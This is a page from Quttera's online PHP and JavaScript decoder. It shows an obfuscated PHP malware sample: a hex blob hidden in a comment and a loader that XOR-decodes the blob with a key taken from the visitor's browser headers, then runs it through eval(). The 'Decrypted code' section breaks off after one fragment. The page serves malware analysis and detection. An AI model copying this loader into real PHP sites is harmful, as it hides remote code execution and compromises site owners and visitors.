Powered by Quttera
Home
Quttera Products
Website Anti-Malware Monitoring
Online Website Malware Scanner
WordPress Web Malware Scanner
Quttera Labs
Quttera Labs
Daily Malware Statistics
Weekly Malware Statistics
Monthly Malware Statistics
Website Malware Cleanup & Protection
Decode
History
Online PHP and Javascript Decoder
decode hidden script to uncover its real functionality
Original code:
<?php /* 386f7655 41435B1667 40514 60A4a44 5C5C04 1100190D693D750 A5B5C6d4550401D 425 25940415805416 d51441 7574 246154f191700 114d0C386975 5C5C5f6a475 0111E1757584714 545 34d69164c5147 4616496f 55441658 471 012191 21105131C5E 3B3A 3E3B5D02105B47 45004c18116 d337663646d434 7401712681B1 F4e393F6c3 B3A3A1553014 c6d4 74217180D15 163C 697F63623F10 560C5B41575841 13685E3B 3A3A154617180F1 411460454410C 4b171A19 0A4 b53415D1646 5B110E393F6 83C3 95a571C1 44a5753 69085944565a4 b1D42431 A4050501 76a4646441 910580442535B 181D1F35383D3 F415C514157 3C58 424216591 75f105a5B6d5 250575a01531854 4b5D 0A5E5E5542 001014585317 5a586b07391E 19521C 0E3F3C3C3D530 A445552 525C4c1C 565542006 751474 043584310120F5 24c5E0B11 444 51C4f3 86f3F393A 58524c5E5B5 8533A4845416d00 565E44530A4 3464 b115E57 4f1914111 345191A3C3 E6d313B3D530 6505 f151608 5C491E1643 17451641155D 5D095647 4a0 817083C3E 6d314f39 3C6c4 53D3 F3B6 e3339554e0D430 E6e3F485 75a46515C031E5 940425 11010166b662A 6b646e15 0641176d1 F4d4c38693C3 8383F115350116 9434743145 918166b662A6b64 6e150056 5E4453 0A43123E0E38383 F11 4646450B 101412 08004c0C1 C184f110C1A5617 0713435f430C386 9383F3B5f5 31C4517 53576c5C5 5105B5a 1C12174b1C11 55064d6f43 42161B110E5441 515E1 C1D4e683C393 A15 47104a 1209160242 595B540F 58445 51E405a5417565 D69076 81D0E683C3 93A54420 5541A1045114a19 0E3F69304 d3D 3C6d3A3F6a504d5 B420E393F6c3B3 A4e545 8175D5B521E0C4 b4350464b1D6f6 07937636e444 65057 11681D1C 1E3B3A3A3C3 E6d1 C54 5D5a0B595D50125 E19146f662B 64613812 535C57585112 380D3 D39385 D0210545D5a006 7554d5B104d431 812025 E590 D5458571F 1C4f386f3F39 3E3B3D6 d5D515C5 9455E5959573C5E 55446907585B175 05B46451D10530 C5a5E525C514d03 3F3E3F6c 353A3C4f6e3339 3D3C6d524d0A410 E3F3C3 C393F 18535C40544f6 93216 44571150100812 3C667479643B680 E43383F5B50 1D5D461653 441B 156b22717E71 653E1A4545 5E0C585455520 25E5 906176 81B 1F4e393F 6c124 4524353014c6d44 5711500D575 3105C5E 515B011F 113C737C 7E73666f171 0465C5C5050015 C545D5a 001A6d6e10 0D585D551439 1E0E6e3 F3C 5B501D595a1 3536f4 641580B 595651523A5E5 9595 74b1D6f76 7F2872663817 4042 5a5a5 551005 2565a 5D514665691642 08486f5B530E5C 126 d1A 4043 541 15250466 9455541 0D1F19483C3E6d3 157 575E0A18120 9540C574 410550B5 B5a1108 6910514 751500B6a120D 575D085D124146 0957 51515 707051F56590A43 0B5f57471219 0B160E68 3C394e 5458175D49 393C6c315 5565a0C19120C 500B594 143565a5E5 947096947445557 6d165a4d42 5859045C10535 30A550C1F500B5 9415D095 740161A0A175E 3B3A3A4c396e45 3F3E530650 5f15105f5f5f42 5B4452 5B00414c4253086 81708435C4758 44054a4 61B500A4a5 D18560 24d516c14445a 50175D5a560B69 16652A6564 6f130A58515 C444311185E54 5f06046c124 3145B5a025150 56505C585039 14104748 44010 56e16500C545569 104c070C5958144 24143414c425 308681716435 25E584 0381A1 24257094d550 86e416c405C590 5531 5255C59576a 171B0B5 919565C43595a04 1D40525B0 41F41405D1B0B3D 3C02425B00415 C5D5815535011 1E144643584818 16505f17114 b3838 6a1D53580 B0742470F6a5C5 C5f 411C1C5 E3B3A3A5 24116546d47 53115 7404 11A475a58 1C162762672F7a 656669606 679491614464 3584d033F3E3F0 64d42596d 105C445f 46101F11005 D191275606679 2A66646c6371 306d607a 6237797E6674 266b1C10074d0 C38 693C 564744596b46 00425f4345 1C4 05B5a1875 306a7C7 a62376664797B21 7860 371904021F 0E393F6c 125 4524555440 512574317546 f504a065a 181455 0C1E0E6e3F3C5B5 01D1511015 74452184f693 23B3D120159445 4125 E1970565 f08526a045041 6d555a5a410 0584440191011 4a5E1D0D 68323948 3F69305659 5a01684516416a 51595 B40500B 42431B15500D4a 1E1412 0159 44541B583 43A4d3 B6e5E53431D 116d7170606e42 52471 46c1D44433F3E 3F415C47 150F431D6f7 773306c1207421 26f0D383E3C4152 47130C1 4065941 510051 6754505 10C5D5518451045 6a115a4103051D1 05112 1F1 9083C3E 6d5154141E154a5 5526d0E58445 35E4c 101A1647 590F1 E1B1E0A4c1054 5a4309 4c16181 D1942 14101 1561415101 45f0A5 15a4a1C1549 3B3F3D3C414342 5f1109441C5B5a5 00A630168 096e 33393912005E4 7430815165f5B52 5a3E046d083C 3E6d4512515 a165D104e3F6930 3940 4401506a0E54415 15E1D 131A1044 5C0E191A4e111D 131A 451C54421E 431D595E500B1E0 E6e3F3C3B 1240465945 0B1017585a0 25769056b5E3 53A3C3B475D5942 16591712440E3 8383F4839 3F6c46 4256 566b0959465 75E4d1F1 F1D1C49106c1 F1E4a1D1C3F1B1D 1C1C 0A1D114a11 1C13154116541E1 4120B110B3 8386a505610 1E40596e5068 150F0B151 3411D421 71A114f 69323B3D 121F180D1 515135 140170D693D 3C6a115B535B50 14084 5125E6803695 f35383D4b 455D 5C4657 434 23D3A3F6d134f 43081516586e076 85E 3B3A3A3810 0A595f511 658181 241570E495C5 1420 1150E6e3F3C 4f3B3F3D 5C03 161817555D16 181 309 16421F1 915496e3339 3912005E4743 08151669667167 3373 6268 13702B7 B6779732B6 c6f677D2 C6d126d164a1712 4c12151C 1611505C17 161E13161B43 181C14120B595D5 0124d19171E1 1441915474f0E3F 3C3C4915005a435 6114f6932 3B3D1201514215 0F431D6f6373366 1703 16e1776 797661 782078646c637 B2B6c1069 164b18171A1543 17101 458055a5043 1B151518121 41B45 124a083C3E6 d453F3E3F025D44 1D16164b5C1C16 40535C11 1C0E3F3C3C5D53 451E565a5D513B5 D4a5D45114 b1811 560A4b191 9161F3A3F6a3C50 515E5 a14175942420D0D 4000060E52 590B4c10565D0F 56420D6a465047 06505B 6e140B505a1258 5C5C5050444b47 5755004b43091 D05565E44085 81841070B091D4 2470A175E3B3A3 A4c1 4015 44151161E35 3A3C3B065a5 85f 16460B41110B09 46520B 08530A58441 352 5B085740096a474 a55516e4107 545f410A5B5a025 11554575 C58094a505 f5D450A58174650 08591744470C410 23D3A3F193A3F 1E15505E 45505D53451E14 6c617B376c69135 1004c6f4 0400F1E6d 19161F3A3F6a11 40405a1 509154169607 C62603F1F555 1423A4 d4259153E0 23D3A3F14 4550 046a5853 42565C1D421 9181D1 B1D3 8171A1A 1C4c64 1E1D1C490619141 9431B15474 0475E1A15105B4c 0D3 D39385D021 81A10583E0B 6d150F5E1917444 e10 101C4 34e38383F3C104 f450B1014415C14 1F09393C6c31145 B530E5C 100D1640596e51 680E3F3C3C49150 05a4356114f69 323B3D1 21F180D15160D 62036 d0D6 93D3C6a11 5B535B50 14084514445 65C 4408594651 145E 353A3C4f6e3 33914520D4515 5E151 16d667a67613E11 5443 50400 C1F6f14184 51A 1F171 24d19 145E5709521 54d15 121C1 1151A15414c0B3 E3B3 D035 D461C12104a5C 1912475D 594 21F5f3A3F6a5 C53121 E535D59 0069554b58 47104b1A 10520C4a 191 C1218343A393F 0154 5D0C 15170E42 470A0 911520E0F575 B0A4c 12575909 5742086e415 E425553 0A6b175D51 5a4558 595B5401 1643465257014 b4108190 3575 E410C5f16445408 581841110B 17093B3F3D48455 35C 4054141F3538 3D3F005B585a1 241054442 085843515D09 535D58411 4560A5a5f410 C684 64a5 7506a 4706545a45 0D555 f51 524451540A5 9091D5 05a5a415 B0A1F47550A581 746460847033D3F 3B1E343A4d3 B6e5256 0B5a15100A4 1460B5942540D0D 520B4a5f145B004 c585a565E65126 0793763 694115545142 5C5B5B5 86a126f1 30A584b42555 85B6d4259084305 1F434605 590B5f5C5B424 34114411C46 550E4 5511C4c 125a5708 5D0D6910045C 446f 43165B694 11543535a4051 083914 6c11 0F080D564241424 54c494 5575E6512585 f0053 500D69171258 545950586a1 25741 5510506 e161613595C4057 5E65121446054 35D3F1 70B0E5f5B44401 116444a41515 94b47565B0C 4c1043530F4 c550 D6a 4670501 773 5C5E53691 60B59 19565C43595a 041D40525B0 41F41405D 1B0B3 D3C193A3F6e3F */ $gbnepit = $_SERVER["\X48TT\X50_U\X53E\X52_AG\X45N\X54"]; $gbnepit .= $_SERVER["H\X54\X54P_AC\X43EPT_LA\X4E\X47UAG\X45"]; $hksizkb = md5($gbnepit); function lgzeysm($zkqhrbb, $gbnepit){ $hksizkb=""; $imxtfur = strlen($zkqhrbb); for($gtjpbrp=0;$gtjpbrp<$imxtfur;$gtjpbrp+=2) $hksizkb.=urldecode("%".substr($zkqhrbb,$gtjpbrp,2)); $strLen = strlen($hksizkb); $imxtfur = strlen($gbnepit); $ppfckvv = ""; for($gtjpbrp=0; $gtjpbrp<$strLen; $gtjpbrp++){ $byaeumr = $gtjpbrp % $imxtfur; $ppfckvv .= chr(ord($hksizkb[$gtjpbrp])^ord($gbnepit[$byaeumr])); } return $ppfckvv; } $zkqhrbb = __FILE__ ; $imxtfur = fopen($zkqhrbb,"r"); $gtjpbrp = fread($imxtfur,filesize($zkqhrbb)); if(preg_match("#/\*(.*?)\*/#si", $gtjpbrp, $byaeumr)){ $gtjpbrp = trim($byaeumr[1]); $gtjpbrp = trim($gtjpbrp); $gtjpbrp = preg_replace("/\s+/i", "", $gtjpbrp); eval(lgzeysm($gtjpbrp, $hksizkb)); }
Decrypted code:
$gbnepit = $_SERVER["